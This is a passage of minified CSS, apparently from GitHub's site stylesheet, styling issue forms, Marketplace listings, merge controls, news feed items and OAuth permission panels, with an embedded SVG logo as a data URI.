transparent;border-radius:6px;opacity:.7}.reaction-sort-item:focus,.reaction-sort-item:hover{text-decoration:none;background-color:var(--color-accent-emphasis);opacity:1}.reaction-sort-item[aria-checked=true]{background-color:var(--color-accent-subtle);border-color:var(--color-accent-emphasis);opacity:1}.issue-keyword{border-bottom:1px dotted var(--color-border-default)}.issue-keyword:hover{border-bottom:0}.new-label-color-dimensions{width:24px;height:24px}.select-menu-item[aria-selected=true]>.octicon.label-options-icon,.select-menu-item.navigation-focus>.octicon.label-options-icon{color:var(--color-fg-default)}.new-label-color-input:invalid{color:var(--color-danger-fg)}.issue-form-textarea{height:100px !important;min-height:100px !important}.issue-forms-wysiwyg-container .comment-form-head{background:var(--color-canvas-subtle) !important}.issue-forms-wysiwyg-container .comment-body{border-bottom:0 !important}.issue-form-body>:first-child{margin-top:0 !important}.issue-create-branch-menu-action{color:var(--color-fg-default)}.issue-create-branch-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.issue-create-branch-menu-action:focus:not(:disabled){color:var(--color-fg-default);background-color:var(--color-neutral-subtle)}react-app{display:flex !important}react-app>div{width:100%}.repository-lang-stats{position:relative}.repository-lang-stats ol.repository-lang-stats-numbers li{display:table-cell;width:1%;padding:8px 4px;text-align:center;white-space:nowrap;border-bottom:0}.repository-lang-stats ol.repository-lang-stats-numbers li span.percent{float:none}.repository-lang-stats ol.repository-lang-stats-numbers li>a,.repository-lang-stats ol.repository-lang-stats-numbers li>span{font-weight:600;color:var(--color-fg-muted);text-decoration:none}.repository-lang-stats ol.repository-lang-stats-numbers li .lang{color:var(--color-fg-default)}.repository-lang-stats ol.repository-lang-stats-numbers li .language-color{display:inline-block;width:10px;height:10px;border-radius:50%}.repository-lang-stats ol.repository-lang-stats-numbers li a:hover{background:transparent}.repository-lang-stats-graph{width:100%;overflow:hidden;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color{line-height:8px;text-indent:-9999px}.repository-lang-stats-graph .language-color:first-child{border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color:last-child{border-bottom-right-radius:6px}.repository-lang-stats-graph .language-color:not(:first-child){border-left:1px solid var(--color-canvas-default)}.facebox-loading,.octocat-spinner{min-height:64px;background-image:url("/images/spinners/octocat-spinner-64.gif");background-repeat:no-repeat;background-position:center center}.octocat-spinner-32{min-height:32px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-repeat:no-repeat;background-position:center center}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.facebox-loading,.octocat-spinner{background-image:url("/images/spinners/octocat-spinner-128.gif");background-size:64px 64px}.octocat-spinner-32{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.map-container .activity{top:120px;left:340px;z-index:99999}.map-container .is-graph-loading .activity{display:block}.map{height:350px}.map-background{pointer-events:all;fill:#0366d6}.map-background-zoom{cursor:grab}.map-land{fill:none;stroke:#256aae;stroke-width:2;shape-rendering:crispedges}.map-country{fill:#d7c7ad;shape-rendering:crispedges;cursor:pointer}.map-country.hk{stroke:#a5967e}.map-country:hover{fill:#c8b28e}.map-country.active{fill:#f6e5ca}.map-borders{fill:none;stroke:#a5967e;shape-rendering:crispedges}.map-graticule{pointer-events:none;fill:none;stroke:#fff;stroke-opacity:.2;shape-rendering:crispedges}.map-graticule :nth-child(2n){stroke-dasharray:2,2}.map-legend .map-legend-circle{fill-opacity:0;stroke:#fff;stroke-width:1.5}.map-legend .map-legend-text{font-size:12px;fill:#fff;text-anchor:end}.map-legend .map-legend-link{stroke:#fff;stroke-width:1.5}.map-point{pointer-events:none;fill:#f66a0a}.map-point:hover{fill:#e36209}.map-country-info{top:8px;right:8px;pointer-events:none;opacity:0}.MarketplaceJumbotron{background-color:var(--color-neutral-emphasis);background-image:url("/images/modules/marketplace/bg-hero.svg");background-repeat:repeat-y;background-position:center top;background-size:150% auto}@media(min-width: 768px){.MarketplaceJumbotron{background-repeat:no-repeat;background-size:cover}}.CircleBadge--feature{position:relative;top:0;transition:top .15s ease-in,box-shadow .12s ease-in}.MarketplaceFeature{min-width:250px}.MarketplaceFeature-text{opacity:.7;transition:opacity .12s ease-in}.MarketplaceFeature-link:hover .CircleBadge--feature{top:-3px;box-shadow:0 3px 8px 0 rgba(0,0,0,.2)}.MarketplaceFeature-link:hover .MarketplaceFeature-text{opacity:1}.MarketplaceFeature-link:active .CircleBadge--feature{top:0;box-shadow:0}.MarketplaceSideNav{-webkit-overflow-scrolling:touch;background-color:var(--color-canvas-subtle)}@media(min-width: 768px){.MarketplaceSideNav{background-color:var(--color-canvas-default);border-right:1px solid var(--color-border-default)}}.ScreenshotCarousel{border:1px solid var(--color-border-default);border-radius:6px}.ScreenshotCarousel-screenshot{padding:16px}.ScreenshotCarousel-nav{display:flex;overflow-x:auto;align-items:top;box-shadow:inset 0 1px 0 var(--color-border-default)}.ScreenshotCarousel-navitem{width:20%;min-width:120px;padding:16px;cursor:pointer;border-right:1px solid var(--color-border-default)}.ScreenshotCarousel-navitem:last-child{border-right:0}.ScreenshotCarousel-navitem.selected{background-color:var(--color-canvas-subtle);box-shadow:inset 0 0 4px rgba(36,41,46,.15)}.marketplace-listing-screenshot-container{width:175px;min-height:175px;background-repeat:no-repeat;background-position:center center;background-size:cover}.marketplace-listing-screenshot-zoom{display:none;cursor:move}.marketplace-listing-details-sidebar{order:2}@media(min-width: 768px){.marketplace-listing-details-sidebar{order:1}}.marketplace-listing-details-description{order:1}@media(min-width: 768px){.marketplace-listing-details-description{order:2}}.marketplace-listing-screenshot-link{height:100px;cursor:move}.marketplace-listing-screenshot-link:hover .marketplace-listing-screenshot-zoom,.marketplace-listing-screenshot-link:focus .marketplace-listing-screenshot-zoom{top:0;left:0;display:block;width:100%;height:100%;padding-top:24px;background-color:rgba(255,255,255,.75)}.marketplace-integratable-logo{width:40px;height:40px}.marketplace-listing-save-notice,.marketplace-listing-save-error{display:none;opacity:0;transition:opacity .15s linear}.marketplace-listing-save-notice.visible,.marketplace-listing-save-error.visible{display:inline-block;opacity:1}.marketplace-listing-screenshot-delete-form{position:absolute;bottom:-24px;width:100%;text-align:center}.marketplace-plan-dollar-field-container .price-note{display:none}.marketplace-plan-dollar-field-container.is-errored .price-note{display:block}.marketplace-plan-dollar-field-container.is-errored .form-control{border-color:var(--color-danger-emphasis)}.marketplace-plan-emphasis{color:var(--color-fg-default)}.selected .marketplace-plan-emphasis{color:var(--color-fg-on-emphasis)}.marketplace-plan-unit-name-preview::before{content:"per "}.marketplace-plan-per-time{clear:right}.marketplace-billing-modal{width:540px;max-height:90vh;margin-top:5vh}.marketplace-listing-markdown,.marketplace-url-link{word-wrap:break-word;white-space:pre-wrap}.marketplace-listing-markdown{line-height:1.4}.marketplace-product-callout{border-color:var(--color-border-default) !important}.marketplace-product-callout::before,.marketplace-product-callout::after{display:none}.marketplace-product-callout .branch-action-item-icon{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.filter-item.selected .Label--secondary{color:var(--color-fg-on-emphasis);border-color:var(--color-fg-on-emphasis)}.MarketplaceEdit-body{min-height:570px}.MarketplaceEdit-body .pricing-model-selector{width:calc(100% - 12px);max-width:100% !important}.MarketplaceEdit-body .menu{border-right:0;border-left:0;border-radius:0}.MarketplaceEdit-body .menu-item{padding:12px 16px;background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected{background:var(--color-canvas-default)}.MarketplaceEdit-body .menu-item:hover{background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected::before{position:absolute;top:0;bottom:0;left:0;width:3px;content:"";background-color:var(--color-severe-emphasis)}.MarketplaceEdit-body .menu-item:first-child::before{border-top-left-radius:0}.MarketplaceEdit-body .CircleIcon{display:inline-block;width:32px;height:32px;font-weight:600;line-height:32px;color:var(--color-fg-muted);text-align:center;background:#e6ebf1;border-radius:50%}.MarketplaceEdit-body .CircleIcon .octicon{display:inline-block}.MarketplaceInsights-graph .insights-month .tick:nth-child(2n){visibility:hidden}.BarChart{border-radius:6px}.BarChart-bar{height:10px;border-right:1px solid var(--color-canvas-default)}.BarChart-bar--green{background-color:var(--color-success-emphasis)}.BarChart-bar--orange{background-color:var(--color-severe-emphasis)}.BarChart-bar--yellow{background-color:var(--color-attention-emphasis)}.CircleBadge--tiny{width:32px;height:32px}.CircleBadge--github{position:relative}.CircleBadge--github.CircleBadge--large::after{right:5px;bottom:5px}.CircleBadge--github.CircleBadge--small::after{right:-5px;bottom:-5px}.CircleBadge--github::after{position:absolute;right:0;bottom:0;display:block;width:22px;height:22px;padding:4px;line-height:0;content:"";background:var(--color-canvas-default) url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48c3ZnIHdpZHRoPSIyMnB4IiBoZWlnaHQ9IjIycHgiIHZpZXdCb3g9IjAgMCAyMiAyMiIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4gICAgICAgIDx0aXRsZT5TaGFwZSBDb3B5PC90aXRsZT4gICAgPGRlc2M+Q3JlYXRlZCB3aXRoIFNrZXRjaC48L2Rlc2M+ICAgIDxkZWZzPjwvZGVmcz4gICAgPGcgaWQ9IktpdGNoZW4tc2luayIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+ICAgICAgICA8ZyBpZD0iT2N0aWNvbnMiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0zNzAuMDAwMDAwLCAtMTU4NC4wMDAwMDApIiBmaWxsPSIjMUIxRjIzIj4gICAgICAgICAgICA8cGF0aCBkPSJNMzgxLDE1ODQgQzM3NC45MjI1LDE1ODQgMzcwLDE1ODguOTIyNSAzNzAsMTU5NSBDMzcwLDE1OTkuODY3NSAzNzMuMTQ4NzUsMTYwMy45Nzg3NSAzNzcuNTIxMjUsMTYwNS40MzYyNSBDMzc4LjA3MTI1LDE2MDUuNTMyNSAzNzguMjc3NSwxNjA1LjIwMjUgMzc4LjI3NzUsMTYwNC45MTM3NSBDMzc4LjI3NzUsMTYwNC42NTI1IDM3OC4yNjM3NSwxNjAzLjc4NjI1IDM3OC4yNjM3NSwxNjAyLjg2NSBDMzc1LjUsMTYwMy4zNzM3NSAzNzQuNzg1LDE2MDIuMTkxMjUgMzc0LjU2NSwxNjAxLjU3MjUgQzM3NC40NDEyNSwxNjAxLjI1NjI1IDM3My45MDUsMTYwMC4yOCAzNzMuNDM3NSwxNjAwLjAxODc1IEMzNzMuMDUyNSwxNTk5LjgxMjUgMzcyLjUwMjUsMTU5OS4zMDM3NSAzNzMuNDIzNzUsMTU5OS4yOSBDMzc0LjI5LDE1OTkuMjc2MjUgMzc0LjkwODc1LDE2MDAuMDg3NSAzNzUuMTE1LDE2MDAuNDE3NSBDMzc2LjEwNSwxNjAyLjA4MTI1IDM3Ny42ODYyNSwxNjAxLjYxMzc1IDM3OC4zMTg3NSwxNjAxLjMyNSBDMzc4LjQxNSwxNjAwLjYxIDM3OC43MDM3NSwxNjAwLjEyODc1IDM3OS4wMiwxNTk5Ljg1Mzc1IEMzNzYuNTcyNSwxNTk5LjU3ODc1IDM3NC4wMTUsMTU5OC42MyAzNzQuMDE1LDE1OTQuNDIyNSBDMzc0LjAxNSwxNTkzLjIyNjI1IDM3NC40NDEyNSwxNTkyLjIzNjI1IDM3NS4xNDI1LDE1OTEuNDY2MjUgQzM3NS4wMzI1LDE1OTEuMTkxMjUgMzc0LjY0NzUsMTU5MC4wNjM3NSAzNzUuMjUyNSwxNTg4LjU1MTI1IEMzNzUuMjUyNSwxNTg4LjU1MTI1IDM3Ni4xNzM3NSwxNTg4LjI2MjUgMzc4LjI3NzUsMTU4OS42Nzg3NSBDMzc5LjE1NzUsMTU4OS40MzEyNSAzODAuMDkyNSwxNTg5LjMwNzUgMzgxLjAyNzUsMTU4OS4zMDc1IEMzODEuOTYyNSwxNTg5LjMwNzUgMzgyLjg5NzUsMTU4OS40MzEyNSAzODMuNzc3NSwxNTg5LjY3ODc1IEMzODUuODgxMjUsMTU4OC4yNDg3NSAzODYuODAyNSwxNTg4LjU1MTI1IDM4Ni44MDI1LDE1ODguNTUxMjUgQzM4Ny40MDc1LDE1OTAuMDYzNzUgMzg3LjAyMjUsMTU5MS4xOTEyNSAzODYuOTEyNSwxNTkxLjQ2NjI1IEMzODcuNjEzNzUsMTU5Mi4yMzYyNSAzODguMDQsMTU5My4yMTI1IDM4OC4wNCwxNTk0LjQyMjUgQzM4OC4wNCwxNTk4LjY0Mzc1IDM4NS40Njg3NSwxNTk5LjU3ODc1IDM4My4wMjEyNSwxNTk5Ljg1Mzc1IEMzODMuNDIsMTYwMC4xOTc1IDM4My43NjM3NSwxNjAwLjg1NzUgMzgzLjc2Mzc1LDE2MDEuODg4NzUgQzM4My43NjM3NSwxNjAzLjM2IDM4My43NSwxNjA0LjU0MjUgMzgzLjc1LDE2MDQuOTEzNzUgQzM4My43NSwxNjA1LjIwMjUgMzgzLjk1NjI1LDE2MDUuNTQ2MjUgMzg0LjUwNjI1LDE2MDUuNDM2MjUgQzM4OC44NTEyNSwxNjAzLjk3ODc1IDM5MiwxNTk5Ljg1Mzc1IDM5MiwxNTk1IEMzOTIsMTU4OC45MjI1IDM4Ny4wNzc1LDE1ODQgMzgxLDE1ODQgTDM4MSwxNTg0IFoiIGlkPSJTaGFwZS1Db3B5Ij48L3BhdGg+ICAgICAgICA8L2c+ICAgIDwvZz48L3N2Zz4=") center no-repeat;border-radius:100px}body.page-responsive .flash-full .container{width:100%;max-width:980px}.ClipboardButton{position:relative}.ClipboardButton.ClipboardButton--success{border-color:var(--color-success-emphasis);box-shadow:0 0 0 .2em rgba(52,208,88,.4)}.ClipboardButton.ClipboardButton--success:focus{box-shadow:0 0 0 .2em rgba(52,208,88,.4)}@media(min-width: 768px){.MarketplacePlan--sticky{position:sticky;top:24px;z-index:999}}@media(max-width: 544px){.Box--full{right:0;bottom:0;left:0;width:100%;max-width:none;max-height:none;margin:0;border-radius:0;transform:none}}.MarketplaceBackground-wrapper{position:relative}.MarketplaceBackground-recommendations{position:relative;top:-90px;width:313px;margin-top:-150px;margin-bottom:-120px;overflow:hidden}.MarketplaceBackground-recommendations img{position:relative;top:0;right:225px;width:549px}@media(min-width: 544px){.MarketplaceBackground-recommendations{position:relative;width:463px;margin-top:-180px;margin-bottom:70px;overflow:hidden}.MarketplaceBackground-recommendations img{right:305px;width:730px}}@media(min-width: 768px){.MarketplaceBackground-recommendations{position:absolute;top:-228px;right:-69px;width:633px}.MarketplaceBackground-recommendations img{right:195px;width:750px}}@media(min-width: 1012px){.MarketplaceBackground-recommendations{top:-268px;right:0;width:1040px}.MarketplaceBackground-recommendations img{right:-115px;width:900px}}@media(min-width: 1280px){.MarketplaceBackground-recommendations{top:-325px;right:105px;width:1040px}.MarketplaceBackground-recommendations img{right:0;width:1040px}}.MarketplaceBackground-buffer{padding-top:40px;margin-top:-146px;background:var(--color-canvas-subtle)}@media(min-width: 544px){.MarketplaceBackground-buffer{padding-top:120px;margin-top:-233px}}@media(min-width: 768px){.MarketplaceBackground-buffer{margin-top:-109px}}@media(min-width: 1012px){.MarketplaceBackground-buffer{margin-top:-89px}}.MarketplaceHeader{overflow:hidden}.Link--muted.filter-item.selected{color:var(--color-fg-on-emphasis) !important}.MarketplaceBody{position:relative}@media(min-width: 544px){.MarketplaceBody{top:-72px;z-index:2}}.MarketplaceDetails .octicon{transition:transform 200ms linear;transform:scaleY(1)}.MarketplaceDetails[open] .octicon{transform:scaleY(-1)}.MarketplaceAnnouncement{color:#fff;background:linear-gradient(90deg, #257bf9, #2426ca)}.MarketplaceAnnouncement-icon{width:80px;opacity:.9}.MarketplaceAnnouncement-description{opacity:.7}.member-list-item .table-list-cell-checkbox{width:30px}.member-list-item.adminable .member-info{padding-left:4px}.member-list-item .member-avatar-cell{width:64px}.triage-mode .none-selected{display:none}.merge-branch-heading{margin:0;line-height:1;color:var(--color-fg-default)}.merge-branch-description{margin-right:160px;margin-bottom:-4px;line-height:1.6em;color:var(--color-fg-muted)}.alt-merge-options{display:inline-block;margin-bottom:0;margin-left:4px;vertical-align:middle}.merged .merge-branch-description .commit-ref .css-truncate-target{max-width:180px}.merge-branch-prh-output{margin-top:8px}.merge-branch-form,.queue-branch-form{display:none;padding-left:60px}.merge-branch-manually{display:none;padding-top:16px;margin-top:16px;background-color:transparent;border-top:1px solid var(--color-border-default)}.merge-branch-manually p{margin-bottom:0}.merge-branch-manually h3{margin-bottom:8px}.merge-branch-manually .intro{padding-bottom:8px;margin-top:0}.merge-branch-manually .step{margin:16px 0 4px}.open .merge-branch-manually{display:block}.select-menu-merge-method{width:310px}.select-menu-merge-method .select-menu-item:hover,.select-menu-merge-method .select-menu-item:hover .octicon,.select-menu-merge-method .select-menu-item:hover .select-menu-item-text{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-merge-method .select-menu-item:hover .description{color:var(--color-fg-on-emphasis)}.merge-pr.is-squashing .commit-author-fields{display:none}.merge-pr.is-rebasing .commit-form-fields{display:none;transition:opacity .15s linear 0s,margin-top .25s ease .1s}.merge-pr .btn-group-merge,.merge-pr .btn-group-merge-group,.merge-pr .merge-queue-info,.merge-pr .merge-queue-group-time-to-merge,.merge-pr.is-squashing .btn-group-squash,.merge-pr.is-rebasing .btn-group-rebase,.merge-pr.is-updating-via-merge .btn-group-update-merge,.merge-pr.is-updating-via-rebase .btn-group-update-rebase,.merge-pr.is-merging-solo .btn-group-merge-solo,.merge-pr.is-merging-solo .merge-queue-solo-time-to-merge,.merge-pr.is-merging-jump .btn-group-merge-jump,.merge-pr.is-merging-group .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-directly,.merge-pr.is-merging .merging-directly-warning{display:inline-block}.merge-pr .merging-body,.merge-pr .rebasing-body,.merge-pr .squashing-body,.merge-pr .merging-body-merge-warning,.merge-pr .merging-directly-warning,.merge-pr.is-merging .merge-queue-info,.merge-pr.is-merging-group .merge-queue-solo-time-to-merge,.merge-pr.is-merging-solo .merge-queue-group-time-to-merge,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body{display:none}.merge-pr.is-merging .merging-body,.merge-pr.is-merging-solo .merging-body,.merge-pr.is-merging-jump .merging-body,.merge-pr.is-merging-group .merging-body,.merge-pr.is-rebasing .rebasing-body,.merge-pr.is-squashing .squashing-body,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body-merge-warning{display:block}.merge-pr .btn-group-squash,.merge-pr .btn-group-merge-solo,.merge-pr .btn-group-merge-jump,.merge-pr .btn-group-merge-directly,.merge-pr .btn-group-rebase,.merge-pr .btn-group-update-merge,.merge-pr .btn-group-update-rebase,.merge-pr.is-squashing .btn-group-merge,.merge-pr.is-rebasing .btn-group-merge,.merge-pr.is-merging-solo .btn-group-merge-group,.merge-pr.is-merging-jump .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-group{display:none;margin-left:0}.commit-form-fields{transition:opacity .15s linear .1s,margin-top .25s ease 0s}.unavailable-merge-method{display:block;margin-top:4px;color:var(--color-severe-fg)}[aria-selected=true].disabled .unavailable-merge-method,.navigation-focus.disabled .unavailable-merge-method{color:var(--color-fg-on-emphasis)}.try-merge-queue-popover{left:265px}@media(min-width: 1012px){.try-merge-queue-popover{left:272px}}.try-merge-queue-beta-flag{vertical-align:middle}.network .network-tree{vertical-align:middle}.network .gravatar{margin-right:4px;vertical-align:middle;border-radius:6px}.network .octicon{display:inline-block;width:16px;margin-left:2px;text-align:center;vertical-align:middle}.internal-repo-avatar{right:4px;bottom:-4px;border:solid 2px var(--color-canvas-default)}.owner-reponame dl.form-group{margin-top:4px;margin-bottom:0}.owner-reponame .slash{float:left;padding-top:32px;margin:0 8px;font-size:20px;color:var(--color-fg-muted)}.reponame-suggestion{color:var(--color-success-fg);cursor:pointer}.upgrade-upsell{padding-left:32px}.cc-upgrade{padding-left:16px}.news .release{margin-top:0;margin-bottom:0}.news blockquote{color:var(--color-fg-muted)}.news .alert{position:relative;padding:0 0 1em 45px;overflow:hidden;border-top:1px solid #eff3f6}.news .alert .commits{padding-left:40px}.news .alert .css-truncate.css-truncate-target,.news .alert .css-truncate .css-truncate-target{max-width:180px}.news .alert p{margin:0}.news .alert .markdown-body blockquote{padding:0 0 0 40px;border-width:0}.news .alert .octicon{color:var(--color-fg-muted)}.news .alert .dashboard-event-icon{position:absolute;top:18px;left:22px;transform:translateX(-50%)}.news .alert .body{padding:1em 0 0;overflow:hidden;font-size:14px;border-bottom:0}.news .alert .time{font-size:12px;color:var(--color-fg-muted)}.news .alert .title{padding:0;font-weight:600}.news .alert .title .subtle{color:var(--color-fg-muted)}.news .alert .gravatar{float:left;margin-right:.6em;line-height:0;background-color:var(--color-canvas-default);border-radius:6px}.news .alert .simple .title{display:inline-block;font-size:14px;font-weight:400;color:var(--color-fg-muted)}.news .alert .simple .time{display:inline-block}.news .alert:first-child{border-top:0}.news .alert:first-child .body{padding-top:0}.news .alert:first-child .dashboard-event-icon{top:0}.news .github-welcome .done{color:var(--color-fg-muted);text-decoration:line-through}.news .commits li{margin-top:.15em;list-style-type:none}.news .commits li.more{padding-top:2px;font-size:12px}.news .commits li .committer{display:none;padding-left:.5em}.news .commits li img{margin:0 1px 0 0;vertical-align:middle;background-color:var(--color-canvas-default);border-radius:6px}.news .commits li img.emoji{padding:0;margin:0;border:0}.news .commits li .message{display:inline-block;max-width:390px;margin-top:2px;overflow:hidden;font-size:14px;line-height:1.3;text-overflow:ellipsis;white-space:nowrap;vertical-align:top}.news div.message,.news li blockquote{display:inline;font-size:14px;color:var(--color-fg-muted)}.oauth-permissions-details{position:relative;padding:16px;margin:0;list-style:none;border-bottom:1px solid var(--color-border-muted)}.oauth-permissions-details:first-child{border-radius:6px 6px 0 0}.oauth-permissions-details:last-child{border:0;border-radius:0 0 6px 6px}.oauth-permissions-details.oauth-public-data-only{border-radius:6px}.oauth-permissions-details .markdown-body{font-size:12px}.oauth-permissions-details .content{display:none;margin-left:45px}.oauth-permissions-details .content .form-checkbox{margin-left:0}.oauth-permissions-details .content .form-checkbox:last-child{margin-bottom:0}.oauth-permissions-details .octicon{float:left;color:var(--color-fg-muted);text-align:center}.oauth-permissions-details .permission-help{font-size:12px}.oauth-permissions-details .permission-help ul{padding-left:16px;margin:1em 0}.oauth-permissions-details .permission-summary{margin-left:45px}.oauth-permissions-details .permission-summary .access-details{position:relative;color:var(--color-fg-muted)}.oauth-permissions-details .permission-summary em.highlight{position:relative;padding:2px 4px;margin-right:-2px;margin-left:-4px;font-style:normal;color:var(--color-fg-default);background:var(--color-search-keyword-hl);border-radius:6px}.oauth-permissions-details .permission-title{display:block;color:var(--color-fg-default)}.oauth-permissions-details a.btn-sm{float:right;margin-top:4px}.oauth-permissions-details.open a.btn-sm{background-color:#dcdcdc;background-image:none;border-color:#b5b5b5;box-shadow:inset 0 2px 4px rgba(0,0,0,.15)}.oauth-permissions-details.open .content{display:block}.oauth-permissions-details.default:not(.delete) .no-access,.oauth-permissions-details.default:not(.delete) .default-access,.oauth-permissions-details.none .no-access,.oauth-permissions-details.none .default-access{display:inline}.oauth-permissions-details.default:not(.delete) .access-details,.oauth-permissions-details.default:not(.delete) .permission-title,.oauth-permissions-details.none .access-details,.oauth-permissions-details.none .permission-title{color:var(--color-fg-muted)}.oauth-permissions-details.default:not(.delete) .octicon,.oauth-permissions-details.none .octicon{color:var(--color-fg-muted)}.oauth-permissions-details.default .default-access{display:inline}.oauth-permissions-details.full .full-access{display:inline}.oauth-details-toggle{position:absolute;top:0;right:0;padding:16px 16px}.oauth-details-toggle .octicon-chevron-up{display:none}.open .oauth-details-toggle .octicon-chevron-down{display:none}.open .oauth-details-toggle .octicon-chevron-up{display:block}.oauth-user-permissions .full-access,.oauth-user-permissions .limited-access,.oauth-user-permissions .limited-access-emails-followers,.oauth-user-permissions .limited-access-emails-profile,.oauth-user-permissions .limited-access-followers-profile,.oauth-user-permissions .limited-access-profile,.oauth-user-permissions .limited-access-followers,.oauth-user-permissions .limited-access-emails,.oauth-user-permissions .no-access{display:none}.oauth-user-permissions.limited.limited-email .limited-access-emails{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails-profile{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access{display:inline}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-followers{display:none}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails-followers{display:inline}.oauth-user-permissions.limited.limited-follow .limited-access-followers{display:inline}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers,.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers-profile{display:inline}.oauth-user-permissions.limited.limited-profile .limited-access-profile{display:inline}.oauth-repo-permissions .default-access,.oauth-repo-permissions .public-access,.oauth-repo-permissions .limited-repo-invite-access,.oauth-repo-permissions .full-access{display:none}.oauth-repo-permissions.full .full-access{display:inline}.oauth-repo-permissions.limited-repo-invite .limited-repo-invite-access{display:inline}.oauth-repo-permissions.public .public-access{display:inline}.oauth-repo-permissions.default .default-access{display:inline}.oauth-delete-repo-permissions .octicon-alert{color:var(--color-danger-fg)}.oauth-repo-status-permissions .no-access,.oauth-repo-status-permissions .full-access,.oauth-repo-deployment-permissions .no-access,.oauth-repo-deployment-permissions .full-access{display:none}.oauth-notifications-permissions .no-access,.oauth-notifications-permissions .read-access,.oauth-notifications-permissions .via-public-access,.oauth-notifications-permissions .via-full-access{display:none}.oauth-notifications-permissions.read .read-access{display:inline}.oauth-notifications-permissions.via-public .via-public-access{display:inline}.oauth-notifications-permissions.via-public .octicon{display:none}.oauth-notifications-permissions.via-full .via-full-access{display:inline}.oauth-gist-permissions .no-access,.oauth-gist-permissions .full-access{display:none}.oauth-granular-permissions .no-access,.oauth-granular-permissions .read-access,.oauth-granular-permissions .write-access,.oauth-granular-permissions .full-access{display:none}.oauth-granular-permissions.none .no-access{display:inline}.oauth-granular-permissions.read .read-access{display:inline}.oauth-granular-permissions.write .write-access{display:inline}.oauth-granular-permissions.full .full-access{display:inline}.oauth-no-description{color:var(--color-fg-muted)}.oauth-org-access-details{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item:hover{background:var(--color-canvas-subtle)}.oauth-org-access-details a:hover{text-decoration:none}.oauth-org-access-details .boxed-group-inner{border:0;border-radius:6px}.oauth-org-access-details .oauth-org-item{line-height:24px}.oauth-org-access-details .oauth-org-item:first-child{border-radius:6px 6px 0 0}.oauth-org-access-details .oauth-org-item .loading-indicator{display:none;margin:4px}.oauth-org-access-details .oauth-org-item.on .authorized-tools{display:block}.oauth-org-access-details .oauth-org-item.on .unauthorized-tools{display:none}.oauth-org-access-details .oauth-org-item.on strong{color:var(--color-fg-default)}.oauth-org-access-details .oauth-org-item.on .octicon-check{display:inline}.oauth-org-access-details .oauth-org-item.on .octicon-x{display:none}.oauth-org-access-details .oauth-org-item.revoked{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item.revoked .unauthorized-tools,.oauth-org-access-details .oauth-org-item.revoked .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.revoked .octicon-x{color:var(--color-danger-fg)}.oauth-org-access-details .oauth-org-item.loading .unauthorized-tools,.oauth-org-access-details .oauth-org-item.loading .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.loading .loading-indicator{display:block}.oauth-org-access-details .oauth-org-item .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item .unauthorized-tools{display:block}.oauth-org-access-details .btn{line-height:1.5em}.oauth-org-access-details .octicon{color:var(--color-fg-muted)}.oauth-org-access-details .octicon-check{display:none;color:var(--color-success-fg)}.oauth-org-access-details .octicon-x{display:inline}.oauth-org-access-details .octicon-x.org-access-denied{color:var(--color-danger-fg)}.permission-title{margin-top:0}.boxed-group-inner .oauth-application-info{margin-bottom:8px}.oauth-application-info .application-title{font-size:32px;color:var(--color-fg-default)}.oauth-application-info .application-description{margin-top:4px;margin-bottom:0}.oauth-application-info .listgroup-item{line-height:inherit}.oauth-application-info .app-denied,.oauth-application-info .app-approved{margin-left:8px;font-size:14px;font-weight:400;white-space:nowrap}.oauth-application-info .app-approved,.oauth-application-info .octicon-check{color:var(--color-success-fg)}.oauth-application-info .app-denied,.oauth-application-info .octicon-x{color:var(--color-severe-fg)}.app-transfer-actions form{display:inline}.developer-app-item 